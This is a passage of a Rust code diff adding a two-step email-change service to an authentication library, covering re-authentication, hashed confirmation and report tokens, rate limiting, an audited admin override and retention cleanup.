99 + /// The request exists but has already been applied.
100 + Used,
101 +}
102 +
103 +/// Two-step email change service.
104 +///
105 +/// Nothing is written to `users.email` until the confirmation link mailed to
106 +/// the candidate address is followed. A typo therefore expires harmlessly and
107 +/// the account never loses access.
108 +///
109 +/// ```rust,ignore
110 +/// use rustwarden_core::config::email::EmailConfig;
111 +/// use rustwarden_core::services::email_change_service::EmailChangeService;
112 +///
113 +/// let email_config = EmailConfig::from_env().map_err(AppError::Config)?;
114 +/// EmailChangeService::new(email_config)
115 +/// .request_change(&db, user_id, "new@example.com", current_password)
116 +/// .await?;
117 +/// // `users.email` is unchanged; two emails are queued.
118 +/// ```
119 +pub struct EmailChangeService {
120 + /// SMTP / queue configuration used to build the outgoing messages.
121 + email_config: EmailConfig,
122 + /// Sliding-window rate limiter (shared abstraction, see [`RateLimitService`]).
123 + rate_limiter: RateLimitService,
124 + /// Optional translation backend. When `None`, emails fall back to the
125 + /// strings embedded in this module, so the service stays usable headless
126 + /// without any i18n plumbing.
127 + i18n: Option<Arc<I18nService>>,
128 +}
129 +
130 +impl EmailChangeService {
131 + /// Create a service using the process-wide rate limiter.
132 + ///
133 + /// ```rust,ignore
134 + /// use rustwarden_core::services::email_change_service::EmailChangeService;
135 + ///
136 + /// let service = EmailChangeService::new(EmailConfig::from_env().map_err(AppError::Config)?);
137 + /// ```
138 + pub fn new(email_config: EmailConfig) -> Self {
139 + Self {
140 + email_config,
141 + rate_limiter: shared_email_change_limiter(),
142 + i18n: None,
143 + }
144 + }
145 +
146 + /// Attach the translation service so emails honour the recipient locale.
147 + ///
148 + /// The recipient locale is read from `user_preferences.language` and falls
149 + /// back to [`config::tasks::default_locale`](crate::config::tasks::default_locale).
150 + /// Missing keys fall back to the strings embedded in this module.
151 + ///
152 + /// ```rust,ignore
153 + /// use std::sync::Arc;
154 + /// use rustwarden_core::services::email_change_service::EmailChangeService;
155 + ///
156 + /// let service = EmailChangeService::new(email_config).with_i18n(Arc::clone(&i18n_service));
157 + /// ```
158 + pub fn with_i18n(mut self, i18n: Arc<I18nService>) -> Self {
159 + self.i18n = Some(i18n);
160 + self
161 + }
162 +
163 + /// Build a service around an injected limiter (unit tests; avoids the
164 + /// process [`OnceLock`]).
165 + #[cfg(test)]
166 + pub(crate) fn new_with_limiter(
167 + email_config: EmailConfig,
168 + rate_limiter: RateLimitService,
169 + ) -> Self {
170 + Self {
171 + email_config,
172 + rate_limiter,
173 + i18n: None,
174 + }
175 + }
176 +
177 + /// Open an email-change request for an authenticated user.
178 + ///
179 + /// Re-authentication is mandatory: a stolen session alone cannot move the
180 + /// account's identity. `current_password` is checked through
181 + /// [`AuthService::verify_credentials`](crate::services::auth_service::AuthService::verify_credentials),
182 + /// which runs bcrypt in constant time.
183 + ///
184 + /// On success two emails are queued:
185 + /// - a confirmation link to `new_email`;
186 + /// - a notice plus a report link to the account's **current** address.
187 + ///
188 + /// `users.email`, `email_verified` and `email_verified_at` are left
189 + /// untouched. Unlike the v1 flow, queueing is **not** best-effort: without
190 + /// the emails the request is unusable, so the error is propagated. This is
191 + /// safe precisely because nothing was written to `users`.
192 + ///
193 + /// ```rust,ignore
194 + /// use rustwarden_core::services::email_change_service::EmailChangeService;
195 + ///
196 + /// EmailChangeService::new(email_config)
197 + /// .request_change(&db, user_id, "new@example.com", "current-password")
198 + /// .await?;
199 + /// ```
200 + ///
201 + /// # Errors
202 + ///
203 + /// - [`AppError::TooManyRequests`] — more than 3 requests for this user
204 + /// within the hour.
205 + /// - [`AppError::InvalidCredentials`] — wrong `current_password`.
206 + /// - [`AppError::Validation`] — malformed address, address identical to the
207 + /// current one, or address already taken by another account.
208 + /// - [`AppError::NotFound`] — unknown `user_id`.
209 + pub async fn request_change(
210 + &self,
211 + db: &DatabaseConnection,
212 + user_id: Uuid,
213 + new_email: &str,
214 + current_password: &str,
215 + ) -> Result<(), AppError> {
216 + // 1. Per-user budget: the abuse to bound is "one account spamming
217 + // third-party mailboxes", hence the user id as key.
218 + self.rate_limiter.check_sliding_window(
219 + &format!("email_change:{user_id}"),
220 + EMAIL_CHANGE_RATE_LIMIT_MAX,
221 + EMAIL_CHANGE_RATE_LIMIT_WINDOW,
222 + )?;
223 +
224 + // 2. Target account.
225 + let user = UserService::get_user_by_id(db, user_id)
226 + .await?
227 + .ok_or_else(|| AppError::NotFound("User not found".to_string()))?;
228 +
229 + // 3. Re-authentication. The current address always contains '@', so the
230 + // email branch of `verify_credentials` is taken deterministically,
231 + // even for legacy usernames containing '@'. `verify_credentials` —
232 + // not `authenticate_user` — is used on purpose: the RFC 0040
233 + // `validation_email_required` policy does not apply here.
234 + AuthService::verify_credentials(db, &user.email, current_password).await?;
235 +
236 + // 4. Normalisation and checks.
237 + let trimmed = new_email.trim();
238 + if !trimmed.contains('@') || !trimmed.contains('.') {
239 + return Err(AppError::Validation("Invalid email format".to_string()));
240 + }
241 + if trimmed == user.email.as_str() {
242 + return Err(AppError::Validation(
243 + "New email address is identical to the current one".to_string(),
244 + ));
245 + }
246 + if let Some(existing) = UserService::get_user_by_email(db, trimmed).await? {
247 + if existing.id != user_id {
248 + return Err(AppError::Validation(format!(
249 + "Email '{trimmed}' already exists"
250 + )));
251 + }
252 + }
253 +
254 + // 5. One active request at a time, plus an opportunistic retention
255 + // purge so a consumer that never starts the cleanup processor still
256 + // honours the retention window for active accounts.
257 + self.invalidate_previous_requests(db, user_id).await?;
258 + Self::purge_stale_requests_for_user(db, user_id).await?;
259 +
260 + // 6. Two independent secrets: confirming and reporting are two
261 + // different capabilities held by two different mailboxes.
262 + let token = Uuid::new_v4().to_string();
263 + let report_token = Uuid::new_v4().to_string();
264 + let now = Utc::now();
265 + let expires_at =
266 + now + Duration::hours(crate::config::tasks::email_validation_expiration_hours());
267 +
268 + // 7. Persist the request.
269 + pending_email_change::ActiveModel {
270 + id: Set(Uuid::new_v4()),
271 + user_id: Set(user_id),
272 + new_email: Set(trimmed.to_string()),
273 + token_hash: Set(Self::hash_token(&token)),
274 + report_token_hash: Set(Self::hash_token(&report_token)),
275 + expires_at: Set(expires_at),
276 + used_at: NotSet,
277 + reported_at: NotSet,
278 + created_at: Set(now),
279 + }
280 + .insert(db)
281 + .await?;
282 +
283 + // 8. Both notifications. Errors propagate: a request nobody can
284 + // confirm is worthless, and the orphan row expires harmlessly.
285 + let locale = Self::locale_for(db, user_id).await;
286 + let confirm_url = format!(
287 + "{}/api/v1/auth/email-change/confirm/{}",
288 + self.email_config.email_base_url, token
289 + );
290 + let report_url = format!(
291 + "{}/api/v1/auth/email-change/report/{}",
292 + self.email_config.email_base_url, report_token
293 + );
294 + let hours = crate::config::tasks::email_validation_expiration_hours();
295 +
296 + // Confirmation to the CANDIDATE address.
297 + let (subject, body_html, body_text) = self
298 + .build_validation_email(&locale, &user.username, &confirm_url, hours)
299 + .await;
300 + EmailQueueService::enqueue(
301 + db,
302 + trimmed.to_string(),
303 + Some(user.username.clone()),
304 + self.email_config.smtp_from.clone(),
305 + self.email_config.smtp_from_name.clone(),
306 + subject,
307 + body_html,
308 + body_text,
309 + "email_change_validation".to_string(),
310 + )
311 + .await?;
312 +
313 + // Notice + report link to the CURRENT address. It never carries the
314 + // confirmation link, and the candidate address is masked.
315 + let (subject, body_html, body_text) = self
316 + .build_notice_email(&locale, &user.username, &report_url, trimmed)
317 + .await;
318 + EmailQueueService::enqueue(
319 + db,
320 + user.email.clone(),
321 + Some(user.username.clone()),
322 + self.email_config.smtp_from.clone(),
323 + self.email_config.smtp_from_name.clone(),
324 + subject,
325 + body_html,
326 + body_text,
327 + "email_change_notice".to_string(),
328 + )
329 + .await?;
330 +
331 + tracing::info!(
332 + user_id = %user_id,
333 + candidate = %mask_email(trimmed),
334 + "Email-change request opened; users.email left untouched"
335 + );
336 +
337 + Ok(())
338 + }
339 +
340 + /// Apply a pending change from its confirmation token.
341 + ///
342 + /// Confirming from the page the emailed link opens **is** the proof of
343 + /// possession, so the address lands already verified: `users.email =
344 + /// new_email`, `email_verified = true`, `email_verified_at = now()`.
345 + /// Uniqueness is re-checked here because another account may have claimed
346 + /// the address in the meantime.
347 + ///
348 + /// All refresh tokens are revoked (same contract as
349 + /// [`UserService::change_password_direct`](crate::services::user_service::UserService::change_password_direct)),
350 + /// and any pending password-change request is dropped through
351 + /// [`PasswordChangeService::invalidate_on_email_change`](crate::services::password_change_service::PasswordChangeService::invalidate_on_email_change):
352 + /// a confirmation link mailed to the previous address must never be usable
353 + /// once that address no longer belongs to the account.
354 + ///
355 + /// Hooks fired here, best-effort:
356 + /// [`RustwardenHooks::on_email_verified`] (the click *is* the proof of
357 + /// possession) and [`RustwardenHooks::on_audit_event`] with kind
358 + /// `user.email_changed`.
359 + ///
360 + /// Returns the user id whose address changed.
361 + ///
362 + /// ```rust,ignore
363 + /// use rustwarden_core::services::email_change_service::EmailChangeService;
364 + ///
365 + /// let user_id = EmailChangeService::new(email_config)
366 + /// .confirm_change(&db, token, hooks.as_ref())
367 + /// .await?;
368 + /// ```
369 + ///
370 + /// # Errors
371 + ///
372 + /// - [`AppError::Validation`] — unknown, expired or already-used token, or
373 + /// the candidate address is no longer available.
374 + /// - [`AppError::NotFound`] — the user was deleted since the request.
375 + pub async fn confirm_change(
376 + &self,
377 + db: &DatabaseConnection,
378 + token: &str,
379 + hooks: Option<&Arc<dyn RustwardenHooks>>,
380 + ) -> Result<Uuid, AppError> {
381 + // 1. Lookup by hash — the plain token is never stored.
382 + let token_hash = Self::hash_token(token);
383 + let row = pending_email_change::Entity::find()
384 + .filter(pending_email_change::Column::TokenHash.eq(&token_hash))
385 + .one(db)
386 + .await?
387 + .ok_or_else(|| AppError::Validation("Invalid email-change token".to_string()))?;
388 +
389 + // 2 & 3. Single use, then expiration.
390 + if row.is_used() {
391 + return Err(AppError::Validation(
392 + "This email-change link has already been used".to_string(),
393 + ));
394 + }
395 + if row.is_expired() {
396 + return Err(AppError::Validation(
397 + "This email-change link has expired".to_string(),
398 + ));
399 + }
400 +
401 + // 4. `reported_at` is deliberately NOT a gate: a report alerts, it
402 + // never refuses (see the RFC's dedicated section).
403 +
404 + // 5. Uniqueness may have been lost since the request was opened. The
405 + // row is NOT consumed, so the link keeps working if the address is
406 + // released before expiration.
407 + if let Some(existing) = UserService::get_user_by_email(db, &row.new_email).await? {
408 + if existing.id != row.user_id {
409 + return Err(AppError::Validation(EMAIL_NO_LONGER_AVAILABLE.to_string()));
410 + }
411 + }
412 +
413 + let user = UserService::get_user_by_id(db, row.user_id)
414 + .await?
415 + .ok_or_else(|| AppError::NotFound("User not found".to_string()))?;
416 + let previous_email = user.email.clone();
417 + let username = user.username.clone();
418 + let now = Utc::now();
419 +
420 + // 6. Write the proven address, already verified.
421 + let mut user_active: user::ActiveModel = user.into();
422 + user_active.email = Set(row.new_email.clone());
423 + user_active.email_verified = Set(true);
424 + user_active.email_verified_at = Set(Some(now));
425 + user_active.updated_at = Set(now);
426 + user_active
427 + .update(db)
428 + .await
429 + .map_err(Self::map_email_write_error)?;
430 +
431 + // 7. Consume the request.
432 + let mut row_active: pending_email_change::ActiveModel = row.clone().into();
433 + row_active.used_at = Set(Some(now));
434 + row_active.update(db).await?;
435 +
436 + // 8. The login identity just moved: every session re-authenticates.
437 + RefreshTokenService::revoke_all_tokens_for_user(db, row.user_id).await?;
438 +
439 + // 9. A password-change link mailed to the previous address must not
440 + // survive the address it was sent to. Logged, never fatal: the
441 + // address change is already written.
442 + if let Err(e) = PasswordChangeService::new()
443 + .invalidate_on_email_change(db, row.user_id)
444 + .await
445 + {
446 + tracing::warn!(
447 + user_id = %row.user_id,
448 + "Failed to invalidate pending password-change requests after email change: {}",
449 + e
450 + );
451 + }
452 +
453 + // 10. Durable audit trail, masked addresses only.
454 + let message = format!(
455 + "user={} old={} new={}",
456 + username,
457 + mask_email(&previous_email),
458 + mask_email(&row.new_email)
459 + );
460 + Self::write_audit_log(
461 + db,
462 + "email_changed",
463 + "INFO",
464 + Some(row.user_id),
465 + None,
466 + message,
467 + )
468 + .await;
469 +
470 + // 11. Hooks, dispatched from the service so headless consumers mounting
471 + // their own confirmation route get the same events.
472 + if let Some(hooks) = hooks {
473 + if let Err(e) = hooks.on_email_verified(db, row.user_id).await {
474 + tracing::warn!("RustwardenHooks::on_email_verified failed: {}", e);
475 + }
476 + let metadata = serde_json::json!({
477 + "previous_email": mask_email(&previous_email),
478 + "new_email": mask_email(&row.new_email),
479 + });
480 + let event = AuditEvent {
481 + // Actor and target are the same account here — this is a
482 + // self-service change — but the target is still named, so a
483 + // consumer routing events on `target` sees the self-service
484 + // path alongside `user.email_changed_by_admin`.
485 + kind: "user.email_changed",
486 + actor_id: Some(row.user_id),
487 + target: Some(("user", row.user_id)),
488 + metadata: &metadata,
489 + };
490 + if let Err(e) = hooks.on_audit_event(db, event).await {
491 + tracing::warn!("RustwardenHooks::on_audit_event failed: {}", e);
492 + }
493 + }
494 +
495 + Ok(row.user_id)
496 + }
497 +
498 + /// Record that the current address owner flagged a request as suspicious.
499 + ///
500 + /// Writes an `audit_logs` row, emits
501 + /// [`RustwardenHooks::on_audit_event`] with kind `user.email_change_reported`
502 + /// and queues an alert to every administrator.
503 + ///
504 + /// **This never blocks the change.** A report is a signal for operators,
505 + /// not an authorisation gate: turning it into one would hand any reader of
506 + /// the old mailbox a denial-of-service lever over the account owner.
507 + ///
508 + /// Idempotent: a request already reported returns `Ok` without re-notifying.
509 + ///
510 + /// ```rust,ignore
511 + /// use rustwarden_core::services::email_change_service::EmailChangeService;
512 + ///
513 + /// let user_id = EmailChangeService::new(email_config)
514 + /// .report_suspicious(&db, report_token, hooks.as_ref())
515 + /// .await?;
516 + /// ```
517 + ///
518 + /// # Errors
519 + ///
520 + /// - [`AppError::Validation`] — unknown report token.
521 + pub async fn report_suspicious(
522 + &self,
523 + db: &DatabaseConnection,
524 + report_token: &str,
525 + hooks: Option<&Arc<dyn RustwardenHooks>>,
526 + ) -> Result<Uuid, AppError> {
527 + // 1. Lookup by the *report* hash: a different secret than the one
528 + // mailed to the candidate address.
529 + let report_token_hash = Self::hash_token(report_token);
530 + let row = pending_email_change::Entity::find()
531 + .filter(pending_email_change::Column::ReportTokenHash.eq(&report_token_hash))
532 + .one(db)
533 + .await?
534 + .ok_or_else(|| AppError::Validation("Invalid report token".to_string()))?;
535 +
536 + // 2. Idempotence — double click, page refresh or browser form resend.
537 + if row.is_reported() {
538 + return Ok(row.user_id);
539 + }
540 +
541 + // 3. Flag it, even when expired or already consumed: the signal keeps
542 + // its value for the operator.
543 + let now = Utc::now();
544 + let user_id = row.user_id;
545 + let candidate = row.new_email.clone();
546 + let mut row_active: pending_email_change::ActiveModel = row.into();
547 + row_active.reported_at = Set(Some(now));
548 + row_active.update(db).await?;
549 +
550 + // 4. Audit trail.
551 + let message = format!("user_id={} candidate={}", user_id, mask_email(&candidate));
552 + Self::write_audit_log(
553 + db,
554 + "email_change_reported",
555 + "WARN",
556 + None,
557 + Some(user_id),
558 + message,
559 + )
560 + .await;
561 +
562 + // 5. Hook fan-out.
563 + if let Some(hooks) = hooks {
564 + let metadata = serde_json::json!({
565 + "user_id": user_id.to_string(),
566 + "candidate_email": mask_email(&candidate),
567 + });
568 + let event = AuditEvent {
569 + kind: "user.email_change_reported",
570 + actor_id: None,
571 + target: Some(("user", user_id)),
572 + metadata: &metadata,
573 + };
574 + if let Err(e) = hooks.on_audit_event(db, event).await {
575 + tracing::warn!("RustwardenHooks::on_audit_event failed: {}", e);
576 + }
577 + }
578 +
579 + // 6. Alert every administrator. Best-effort: the report is already
580 + // recorded, a mail failure must not turn it into an error.
581 + self.notify_admins_of_report(db, user_id, &candidate).await;
582 +
583 + Ok(user_id)
584 + }
585 +
586 + /// Read-only state of a **confirmation** token.
587 + ///
588 + /// Performs a single indexed `SELECT` and writes nothing: this is what
589 + /// makes `GET /api/v1/auth/email-change/confirm/{token}` immune to the
590 + /// link prefetching done by anti-phishing gateways and mail clients.
591 + ///
592 + /// ```rust,ignore
593 + /// use rustwarden_core::services::email_change_service::{
594 + /// EmailChangeLinkState, EmailChangeService,
595 + /// };
596 + ///
597 + /// match EmailChangeService::inspect_confirmation_token(&db, &token).await? {
598 + /// EmailChangeLinkState::Usable => { /* render the confirm form */ }
599 + /// _ => { /* render an explanation, no form */ }
600 + /// }
601 + /// ```
602 + ///
603 + /// # Errors
604 + ///
605 + /// Returns [`AppError::Database`] if the lookup fails.
606 + pub async fn inspect_confirmation_token(
607 + db: &DatabaseConnection,
608 + token: &str,
609 + ) -> Result<EmailChangeLinkState, AppError> {
610 + let token_hash = Self::hash_token(token);
611 + let row = pending_email_change::Entity::find()
612 + .filter(pending_email_change::Column::TokenHash.eq(&token_hash))
613 + .one(db)
614 + .await?;
615 + Ok(Self::state_of(row.as_ref()))
616 + }
617 +
618 + /// Read-only state of a **report** token. Same no-side-effect contract as
619 + /// [`EmailChangeService::inspect_confirmation_token`].
620 + ///
621 + /// ```rust,ignore
622 + /// let state = EmailChangeService::inspect_report_token(&db, &report_token).await?;
623 + /// ```
624 + ///
625 + /// # Errors
626 + ///
627 + /// Returns [`AppError::Database`] if the lookup fails.
628 + pub async fn inspect_report_token(
629 + db: &DatabaseConnection,
630 + report_token: &str,
631 + ) -> Result<EmailChangeLinkState, AppError> {
632 + let token_hash = Self::hash_token(report_token);
633 + let row = pending_email_change::Entity::find()
634 + .filter(pending_email_change::Column::ReportTokenHash.eq(&token_hash))
635 + .one(db)
636 + .await?;
637 + Ok(Self::state_of(row.as_ref()))
638 + }
639 +
640 + /// Map a looked-up row to its link state. `Used` wins over `Expired`:
641 + /// "already done" is the more actionable message of the two.
642 + fn state_of(row: Option<&pending_email_change::Model>) -> EmailChangeLinkState {
643 + match row {
644 + None => EmailChangeLinkState::Unknown,
645 + Some(row) if row.is_used() => EmailChangeLinkState::Used,
646 + Some(row) if row.is_expired() => EmailChangeLinkState::Expired,
647 + Some(_) => EmailChangeLinkState::Usable,
648 + }
649 + }
650 +
651 + /// Administrative override: write `new_email` without confirmation.
652 + ///
653 + /// Operational recourse for the one dead end the two-step flow cannot
654 + /// solve on its own: a user who lost **both** the password and the access
655 + /// to the account's current mailbox. The v1 capability — an admin fixing
656 + /// an address through `PUT /admin/users/{id}` — is preserved, but it
657 + /// becomes an **explicit, audited operation** instead of a side effect of
658 + /// [`UserService::update_profile`](crate::services::user_service::UserService::update_profile).
659 + ///
660 + /// Contract:
661 + /// - `actor_id` **must** carry the `admin` role
662 + /// ([`UserService::get_user_roles`](crate::services::user_service::UserService::get_user_roles));
663 + /// otherwise [`AppError::Forbidden`] and nothing is written.
664 + /// - `users.email = new_email`, `email_verified = true`,
665 + /// `email_verified_at = now()` — the operator vouches for the address
666 + /// after an out-of-band identity check.
667 + /// - Every pending request of the target user is consumed, so a stale
668 + /// confirmation link cannot resurrect the previous candidate address.
669 + /// - All refresh tokens of the **target** account are revoked, exactly as
670 + /// in [`Self::confirm_change`]; the acting administrator's own sessions
671 + /// are untouched.
672 + /// - An `audit_logs` row is written (`action = "email_changed_by_admin"`,
673 + /// `level = "WARN"`, `user_id = actor_id`, `target_user_id = user_id`,
674 + /// masked addresses) and [`RustwardenHooks::on_audit_event`] is emitted
675 + /// with kind `user.email_changed_by_admin`.
676 + /// - [`RustwardenHooks::on_email_verified`] is **not** emitted: there was
677 + /// no proof of possession by the address owner.
678 + /// - Both mailboxes are notified. Neither mail carries an action link —
679 + /// there is nothing left to confirm.
680 + ///
681 + /// No rate limit and no password check: authorisation is the admin role,
682 + /// enforced by the caller's route middleware **and** re-checked here.
683 + /// Echoing the target's current address is a silent no-op, because admin
684 + /// forms resubmit every field.
685 + ///
686 + /// ```rust,ignore
687 + /// use rustwarden_core::services::email_change_service::EmailChangeService;
688 + ///
689 + /// // `admin_id` must hold the `admin` role, or the call fails with Forbidden.
690 + /// EmailChangeService::new(email_config)
691 + /// .admin_force_change(&db, admin_id, user_id, "fixed@example.com", None)
692 + /// .await?;
693 + /// ```
694 + ///
695 + /// # Errors
696 + ///
697 + /// - [`AppError::Forbidden`] — `actor_id` is not an administrator.
698 + /// - [`AppError::Validation`] — malformed address, or address already
699 + /// taken by another account.
700 + /// - [`AppError::NotFound`] — unknown `actor_id` or unknown `user_id`.
701 + pub async fn admin_force_change(
702 + &self,
703 + db: &DatabaseConnection,
704 + actor_id: Uuid,
705 + user_id: Uuid,
706 + new_email: &str,
707 + hooks: Option<&Arc<dyn RustwardenHooks>>,
708 + ) -> Result<(), AppError> {
709 + // 1. Authorisation is re-checked in the service: a headless call
710 + // straight to the service must not bypass the route middleware.
711 + let actor = UserService::get_user_by_id(db, actor_id)
712 + .await?
713 + .ok_or_else(|| AppError::NotFound("Actor not found".to_string()))?;
714 + let roles = UserService::get_user_roles(db, actor_id).await?;
715 + if !roles.iter().any(|role| role == "admin") {
716 + return Err(AppError::Forbidden);
717 + }
718 +
719 + // 2. Self-targeting is allowed: an admin changing their own address is
720 + // still an admin acting as an admin, and the trail shows it.
721 + let target = UserService::get_user_by_id(db, user_id)
722 + .await?
723 + .ok_or_else(|| AppError::NotFound("User not found".to_string()))?;
724 +
725 + // 3. Same checks as `request_change`, minus the "identical address"
726 + // error which becomes a silent no-op here.
727 + let trimmed = new_email.trim();
728 + if !trimmed.contains('@') || !trimmed.contains('.') {
729 + return Err(AppError::Validation("Invalid email format".to_string()));
730 + }
731 + if trimmed == target.email.as_str() {
732 + return Ok(());
733 + }
734 + if let Some(existing) = UserService::get_user_by_email(db, trimmed).await? {
735 + if existing.id != user_id {
736 + return Err(AppError::Validation(format!(
737 + "Email '{trimmed}' already exists"
738 + )));
739 + }
740 + }
741 +
742 + // 4. A still-valid confirmation link must not overwrite the address
743 + // the operator just set.
744 + self.invalidate_previous_requests(db, user_id).await?;
745 +
746 + let previous_email = target.email.clone();
747 + let username = target.username.clone();
748 + let now = Utc::now();
749 +
750 + // 5. The verified flag is set because the operator vouches out of band,
751 + // exactly like `admin_reset_password` does for the password.
752 + let mut target_active: user::ActiveModel = target.into();
753 + target_active.email = Set(trimmed.to_string());
754 + target_active.email_verified = Set(true);
755 + target_active.email_verified_at = Set(Some(now));
756 + target_active.updated_at = Set(now);
757 + target_active
758 + .update(db)
759 + .await
760 + .map_err(Self::map_email_write_error)?;
761 +
762 + // 6. Target sessions only — the acting admin keeps theirs.
763 + RefreshTokenService::revoke_all_tokens_for_user(db, user_id).await?;
764 +
765 + // 7. Same reason as in `confirm_change`.
766 + if let Err(e) = PasswordChangeService::new()
767 + .invalidate_on_email_change(db, user_id)
768 + .await
769 + {
770 + tracing::warn!(
771 + user_id = %user_id,
772 + "Failed to invalidate pending password-change requests after admin email change: {}",
773 + e
774 + );
775 + }
776 +
777 + // 8. WARN, not INFO: an identity write without proof of possession
778 + // deserves to surface.
779 + let message = format!(
780 + "actor={} user={} old={} new={}",
781 + actor.username,
782 + username,
783 + mask_email(&previous_email),
784 + mask_email(trimmed)
785 + );
786 + Self::write_audit_log(
787 + db,
788 + "email_changed_by_admin",
789 + "WARN",
790 + Some(actor_id),
791 + Some(user_id),
792 + message,
793 + )
794 + .await;
795 +
796 + // 9. `on_email_verified` is deliberately NOT emitted here.
797 + if let Some(hooks) = hooks {
798 + let metadata = serde_json::json!({
799 + "previous_email": mask_email(&previous_email),
800 + "new_email": mask_email(trimmed),
801 + });
802 + let event = AuditEvent {
803 + kind: "user.email_changed_by_admin",
804 + actor_id: Some(actor_id),
805 + target: Some(("user", user_id)),
806 + metadata: &metadata,
807 + };
808 + if let Err(e) = hooks.on_audit_event(db, event).await {
809 + tracing::warn!("RustwardenHooks::on_audit_event failed: {}", e);
810 + }
811 + }
812 +
813 + // 10. Both mailboxes, no action link. Best-effort: the write is done
814 + // and the operator already has a synchronous return value.
815 + self.notify_admin_forced_change(db, user_id, &username, &previous_email, trimmed)
816 + .await;
817 +
818 + Ok(())
819 + }
820 +
821 + /// Hard-delete rows expired for longer than
822 + /// [`PENDING_EMAIL_CHANGE_RETENTION_DAYS`] (30 days, a compile-time
823 + /// constant — no environment variable).
824 + ///
825 + /// The predicate is `expires_at < now() - retention`, whatever the row
826 + /// state (consumed, reported, or simply stale): past that delay the row has
827 + /// no operational value left, the durable trail being in `audit_logs`.
828 + ///
829 + /// Returns the number of deleted rows. Called by
830 + /// [`PendingEmailChangeCleanupProcessor`](crate::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor),
831 + /// and public so a consumer can drive it from its own cron instead. **The
832 + /// framework starts nothing by itself**: the consumer must call `.start()`
833 + /// on the processor.
834 + ///
835 + /// ```rust,ignore
836 + /// use rustwarden_core::services::email_change_service::EmailChangeService;
837 + ///
838 + /// let deleted = EmailChangeService::cleanup_expired(&db).await?;
839 + /// println!("{deleted} stale email-change request(s) purged");
840 + /// ```
841 + ///
842 + /// # Errors
843 + ///
844 + /// - [`AppError::Database`] — the delete statement failed.
845 + pub async fn cleanup_expired(db: &DatabaseConnection) -> Result<u64, AppError> {
846 + let cutoff = Utc::now() - Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS);
847 + let result = pending_email_change::Entity::delete_many()
848 + .filter(pending_email_change::Column::ExpiresAt.lt(cutoff))
849 + .exec(db)
850 + .await?;
851 + Ok(result.rows_affected)
852 + }
853 +
854 + // ── Internals ───────────────────────────────────────────────────────────
855 +
856 + /// Hash a token using SHA-256 (hex, 64 chars).
857 + fn hash_token(token: &str) -> String {
858 + let mut hasher = Sha256::new();
859 + hasher.update(token.as_bytes());
860 + format!("{:x}", hasher.finalize())
861 + }
862 +
863 + /// Mark every pending request of this user as consumed.
864 + ///
865 + /// Functional replacement for the partial unique index `sea-query` cannot
866 + /// express portably — same approach as
867 + /// `EmailValidationService::invalidate_previous_tokens`.
868 + async fn invalidate_previous_requests(
869 + &self,
870 + db: &DatabaseConnection,
871 + user_id: Uuid,
872 + ) -> Result<(), AppError> {
873 + let rows = pending_email_change::Entity::find()
874 + .filter(pending_email_change::Column::UserId.eq(user_id))
875 + .filter(pending_email_change::Column::UsedAt.is_null())
876 + .all(db)
877 + .await?;
878 +
879 + let now = Utc::now();
880 + for row in rows {
881 + let mut active: pending_email_change::ActiveModel = row.into();
882 + active.used_at = Set(Some(now));
883 + active.update(db).await?;
884 + }
885 +
886 + Ok(())
887 + }
888 +
889 + /// Opportunistic retention purge, scoped to a single user.
890 + ///
891 + /// Belt and braces for consumers that never start
892 + /// [`PendingEmailChangeCleanupProcessor`](crate::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor):
893 + /// rows of **this** user older than the retention window disappear on the
894 + /// next request. Rows of other users are untouched.
895 + async fn purge_stale_requests_for_user(
896 + db: &DatabaseConnection,
897 + user_id: Uuid,
898 + ) -> Result<u64, AppError> {
899 + let cutoff = Utc::now() - Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS);
900 + let result = pending_email_change::Entity::delete_many()
901 + .filter(
902 + Condition::all()
903 + .add(pending_email_change::Column::UserId.eq(user_id))
904 + .add(pending_email_change::Column::ExpiresAt.lt(cutoff)),
905 + )
906 + .exec(db)
907 + .await?;
908 + Ok(result.rows_affected)
909 + }
910 +
911 + /// Translate a concurrent `users.email` unique violation into the same
912 + /// user-facing `Validation` as the explicit uniqueness pre-check.
913 + ///
914 + /// The `UNIQUE` constraint on `users.email` closes the residual race
915 + /// between the `SELECT` and the `UPDATE`; surfacing it as a 500 would be
916 + /// both wrong and unhelpful.
917 + fn map_email_write_error(err: sea_orm::DbErr) -> AppError {
918 + let text = err.to_string().to_lowercase();
919 + if text.contains("duplicate key")
920 + || text.contains("unique constraint")
921 + || text.contains("unique violation")
922 + {
923 + AppError::Validation(EMAIL_NO_LONGER_AVAILABLE.to_string())
924 + } else {
925 + AppError::Database(err)
926 + }
927 + }
928 +
929 + /// Insert an `audit_logs` row. Best-effort: a logging failure must never
930 + /// undo an identity change that is already committed.
931 + async fn write_audit_log(
932 + db: &DatabaseConnection,
933 + action: &str,
934 + level: &str,
935 + user_id: Option<Uuid>,
936 + target_user_id: Option<Uuid>,
937 + message: String,
938 + ) {
939 + let log = audit_log::ActiveModel {
940 + id: Set(Uuid::new_v4()),
941 + user_id: Set(user_id),
942 + action: Set(action.to_string()),
943 + target_user_id: Set(target_user_id),
944 + level: Set(level.to_string()),
945 + message: Set(message),
946 + created_at: Set(Utc::now()),
947 + actor_remote_identity_id: Set(None),
948 + target_remote_identity_id: Set(None),
949 + };
950 + if let Err(e) = log.insert(db).await {
951 + tracing::warn!("Failed to write email-change audit log ({}): {}", action, e);
952 + }
953 + }
954 +
955 + /// Recipient locale: `user_preferences.language`, falling back to
956 + /// [`config::tasks::default_locale`](crate::config::tasks::default_locale).
957 + async fn locale_for(db: &DatabaseConnection, user_id: Uuid) -> String {
958 + match UserPreferencesService::get_preferences(db, user_id).await {
959 + Ok(Some(prefs)) => prefs.language,
960 + Ok(None) => crate::config::tasks::default_locale(),
961 + Err(e) => {
962 + tracing::warn!(
963 + user_id = %user_id,
964 + "Failed to read user preferences for email locale: {}",
965 + e
966 + );
967 + crate::config::tasks::default_locale()
968 + }
969 + }
970 + }
971 +
972 + /// Translate `key` for `locale`, falling back to `fallback` when no
973 + /// [`I18nService`] is attached or the key is missing.
974 + async fn tr(&self, key: &str, locale: &str, fallback: &str) -> String {
975 + self.tr_vars(key, locale, fallback, &[]).await
976 + }
977 +
978 + /// Translate `key` for `locale` with `{placeholder}` substitution.
979 + ///
980 + /// Placeholders are applied to the translation **and** to the fallback, so
981 + /// a headless deployment without locale files renders the same sentences.
982 + async fn tr_vars(
983 + &self,
984 + key: &str,
985 + locale: &str,
986 + fallback: &str,
987 + vars: &[(&str, &str)],
988 + ) -> String {
